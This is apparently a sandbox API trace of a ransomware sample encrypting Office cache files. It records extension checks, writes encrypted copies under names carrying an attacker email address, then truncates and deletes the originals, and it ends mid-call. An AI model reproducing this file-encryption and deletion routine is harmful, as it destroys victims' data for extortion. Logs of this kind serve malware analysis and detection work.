lstrlenW (lpString=".xls") returned 4 [0126.029] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0126.029] lstrlenW (lpString=".xlsx") returned 5 [0126.029] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0126.029] lstrlenW (lpString=".ppt") returned 4 [0126.029] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0126.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0126.029] lstrlenW (lpString=".zip") returned 4 [0126.029] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0126.029] lstrlenW (lpString=".rar") returned 4 [0126.029] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0126.029] lstrlenW (lpString=".bz2") returned 4 [0126.029] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0126.029] lstrlenW (lpString=".7z") returned 3 [0126.029] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0126.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0126.029] lstrlenW (lpString=".dbf") returned 4 [0126.029] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0126.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0126.029] lstrlenW (lpString=".1cd") returned 4 [0126.029] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0126.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0126.029] lstrlenW (lpString=".jpg") returned 4 [0126.029] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0126.029] lstrcmpiW (lpString1=".dll", lpString2=".gdb") returned -1 [0126.029] lstrlenW (lpString="dwdcw20.dll") returned 11 [0126.029] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0126.053] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x307fdc4 | out: lpFileSize=0x307fdc4*=526176) returned 1 [0126.054] CloseHandle (hObject=0x1b0) returned 1 [0126.054] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 0x2020 [0126.054] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0126.054] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0126.054] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0126.054] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0126.054] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0126.054] GetLastError () returned 0x0 [0126.054] ReadFile (in: hFile=0x1b0, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0x80760, lpOverlapped=0x0) returned 1 [0126.066] WriteFile (in: hFile=0x210, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0x80770, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0x80770, lpOverlapped=0x0) returned 1 [0126.076] ReadFile (in: hFile=0x1b0, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0x0, lpOverlapped=0x0) returned 1 [0126.076] WriteFile (in: hFile=0x210, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0xea, lpOverlapped=0x0) returned 1 [0126.076] SetEndOfFile (hFile=0x210) returned 1 [0126.076] CloseHandle (hObject=0x210) returned 1 [0126.076] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0126.076] SetEndOfFile (hFile=0x1b0) returned 1 [0126.081] CloseHandle (hObject=0x1b0) returned 1 [0126.081] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0126.081] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 1 [0126.081] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0126.081] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0126.081] lstrlenW (lpString=".doc") returned 4 [0126.081] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0126.081] lstrlenW (lpString=".docx") returned 5 [0126.081] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0126.081] lstrlenW (lpString=".pdf") returned 4 [0126.081] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0126.081] lstrlenW (lpString=".xls") returned 4 [0126.081] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0126.081] lstrlenW (lpString=".xlsx") returned 5 [0126.081] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0126.081] lstrlenW (lpString=".ppt") returned 4 [0126.081] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0126.081] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0126.081] lstrlenW (lpString=".zip") returned 4 [0126.082] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0126.082] lstrlenW (lpString=".rar") returned 4 [0126.082] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0126.082] lstrlenW (lpString=".bz2") returned 4 [0126.082] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0126.082] lstrlenW (lpString=".7z") returned 3 [0126.082] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0126.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0126.082] lstrlenW (lpString=".dbf") returned 4 [0126.082] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0126.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0126.082] lstrlenW (lpString=".1cd") returned 4 [0126.082] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0126.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0126.082] lstrlenW (lpString=".jpg") returned 4 [0126.082] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0126.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0126.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0126.082] lstrlenW (lpString=".doc") returned 4 [0126.082] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0126.082] lstrlenW (lpString=".docx") returned 5 [0126.082] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0126.082] lstrlenW (lpString=".pdf") returned 4 [0126.082] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0126.082] lstrlenW (lpString=".xls") returned 4 [0126.082] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0126.082] lstrlenW (lpString=".xlsx") returned 5 [0126.082] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0126.082] lstrlenW (lpString=".ppt") returned 4 [0126.082] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0126.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0126.082] lstrlenW (lpString=".zip") returned 4 [0126.082] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0126.082] lstrlenW (lpString=".rar") returned 4 [0126.082] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0126.082] lstrlenW (lpString=".bz2") returned 4 [0126.082] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0126.082] lstrlenW (lpString=".7z") returned 3 [0126.082] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0126.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0126.082] lstrlenW (lpString=".dbf") returned 4 [0126.082] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0126.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0126.082] lstrlenW (lpString=".1cd") returned 4 [0126.082] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0126.083] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0126.083] lstrlenW (lpString=".jpg") returned 4 [0126.083] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0126.083] lstrcmpiW (lpString1=".exe", lpString2=".gdb") returned -1 [0126.083] lstrlenW (lpString="dwtrig20.exe") returned 12 [0126.083] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0126.083] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x307fdc4 | out: lpFileSize=0x307fdc4*=519584) returned 1 [0126.083] CloseHandle (hObject=0x1b0) returned 1 [0126.083] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 0x2020 [0126.083] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0126.083] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0126.083] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0126.083] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0126.083] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0126.085] GetLastError () returned 0x0 [0126.085] ReadFile (in: hFile=0x1b0, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0x7eda0, lpOverlapped=0x0) returned 1 [0126.095] WriteFile (in: hFile=0x210, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0x7edb0, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0x7edb0, lpOverlapped=0x0) returned 1 [0126.684] ReadFile (in: hFile=0x1b0, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0x0, lpOverlapped=0x0) returned 1 [0126.684] WriteFile (in: hFile=0x210, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0xec, lpOverlapped=0x0) returned 1 [0126.684] SetEndOfFile (hFile=0x210) returned 1 [0126.684] CloseHandle (hObject=0x210) returned 1 [0126.685] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0126.685] SetEndOfFile (hFile=0x1b0) returned 1 [0126.689] CloseHandle (hObject=0x1b0) returned 1 [0126.689] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0126.690] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 1 [0126.690] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0126.690] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0126.690] lstrlenW (lpString=".doc") returned 4 [0126.690] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0126.690] lstrlenW (lpString=".docx") returned 5 [0126.690] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0126.690] lstrlenW (lpString=".pdf") returned 4 [0126.690] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0126.690] lstrlenW (lpString=".xls") returned 4 [0126.690] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0126.690] lstrlenW (lpString=".xlsx") returned 5 [0126.690] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0126.690] lstrlenW (lpString=".ppt") returned 4 [0126.690] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0126.690] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0126.690] lstrlenW (lpString=".zip") returned 4 [0126.690] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0126.690] lstrlenW (lpString=".rar") returned 4 [0126.690] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0126.690] lstrlenW (lpString=".bz2") returned 4 [0126.690] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0126.691] lstrlenW (lpString=".7z") returned 3 [0126.691] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0126.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0126.691] lstrlenW (lpString=".dbf") returned 4 [0126.691] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0126.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0126.691] lstrlenW (lpString=".1cd") returned 4 [0126.691] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0126.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0126.691] lstrlenW (lpString=".jpg") returned 4 [0126.691] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0126.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0126.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0126.691] lstrlenW (lpString=".doc") returned 4 [0126.691] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0126.691] lstrlenW (lpString=".docx") returned 5 [0126.691] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0126.691] lstrlenW (lpString=".pdf") returned 4 [0126.691] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0126.691] lstrlenW (lpString=".xls") returned 4 [0126.691] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0126.691] lstrlenW (lpString=".xlsx") returned 5 [0126.691] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0126.691] lstrlenW (lpString=".ppt") returned 4 [0126.691] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0126.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0126.691] lstrlenW (lpString=".zip") returned 4 [0126.691] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0126.691] lstrlenW (lpString=".rar") returned 4 [0126.691] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0126.691] lstrlenW (lpString=".bz2") returned 4 [0126.691] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0126.691] lstrlenW (lpString=".7z") returned 3 [0126.691] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0126.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0126.692] lstrlenW (lpString=".dbf") returned 4 [0126.692] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0126.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0126.692] lstrlenW (lpString=".1cd") returned 4 [0126.692] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0126.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0126.692] lstrlenW (lpString=".jpg") returned 4 [0126.692] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0126.692] lstrcmpiW (lpString1=".cab", lpString2=".gdb") returned -1 [0126.692] lstrlenW (lpString="OfficeLR.cab") returned 12 [0126.692] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0126.692] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x307fdc4 | out: lpFileSize=0x307fdc4*=14127746) returned 1 [0126.692] CloseHandle (hObject=0x1b0) returned 1 [0126.693] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab")) returned 0x2020 [0126.693] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0126.693] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0126.694] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0126.694] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fb14 | out: lpNewFilePointer=0x0) returned 1 [0126.694] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fad4 | out: lpNewFilePointer=0x0) returned 1 [0126.694] ReadFile (in: hFile=0x1b0, lpBuffer=0x3670058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fae0, lpOverlapped=0x0 | out: lpBuffer=0x3670058*, lpNumberOfBytesRead=0x307fae0*=0x40000, lpOverlapped=0x0) returned 1 [0126.700] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x307fad4 | out: lpNewFilePointer=0x0) returned 1 [0126.700] ReadFile (in: hFile=0x1b0, lpBuffer=0x36b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fae0, lpOverlapped=0x0 | out: lpBuffer=0x36b0058*, lpNumberOfBytesRead=0x307fae0*=0x40000, lpOverlapped=0x0) returned 1 [0126.703] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x307fb14 | out: lpNewFilePointer=0xffffffff) returned 1 [0126.703] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xd39282, lpNewFilePointer=0x0, dwMoveMethod=0x307fad4 | out: lpNewFilePointer=0x0) returned 1 [0126.703] ReadFile (in: hFile=0x1b0, lpBuffer=0x36f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fae0, lpOverlapped=0x0 | out: lpBuffer=0x36f0058*, lpNumberOfBytesRead=0x307fae0*=0x40000, lpOverlapped=0x0) returned 1 [0126.721] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0126.721] WriteFile (in: hFile=0x1b0, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x307fb58, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb58*=0xc0104, lpOverlapped=0x0) returned 1 [0127.002] SetEndOfFile (hFile=0x1b0) returned 1 [0127.007] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fb24 | out: lpNewFilePointer=0x0) returned 1 [0127.007] WriteFile (in: hFile=0x1b0, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fb30, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x307fb30*=0x40000, lpOverlapped=0x0) returned 1 [0127.008] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x307fb24 | out: lpNewFilePointer=0x0) returned 1 [0127.008] WriteFile (in: hFile=0x1b0, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fb30, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x307fb30*=0x40000, lpOverlapped=0x0) returned 1 [0127.009] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xd39282, lpNewFilePointer=0x0, dwMoveMethod=0x307fb24 | out: lpNewFilePointer=0x0) returned 1 [0127.009] WriteFile (in: hFile=0x1b0, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fb30, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x307fb30*=0x40000, lpOverlapped=0x0) returned 1 [0127.011] CloseHandle (hObject=0x1b0) returned 1 [0127.011] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0127.011] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0127.011] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0127.011] lstrlenW (lpString=".doc") returned 4 [0127.011] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0127.011] lstrlenW (lpString=".docx") returned 5 [0127.012] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0127.012] lstrlenW (lpString=".pdf") returned 4 [0127.012] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0127.012] lstrlenW (lpString=".xls") returned 4 [0127.012] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0127.012] lstrlenW (lpString=".xlsx") returned 5 [0127.012] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0127.012] lstrlenW 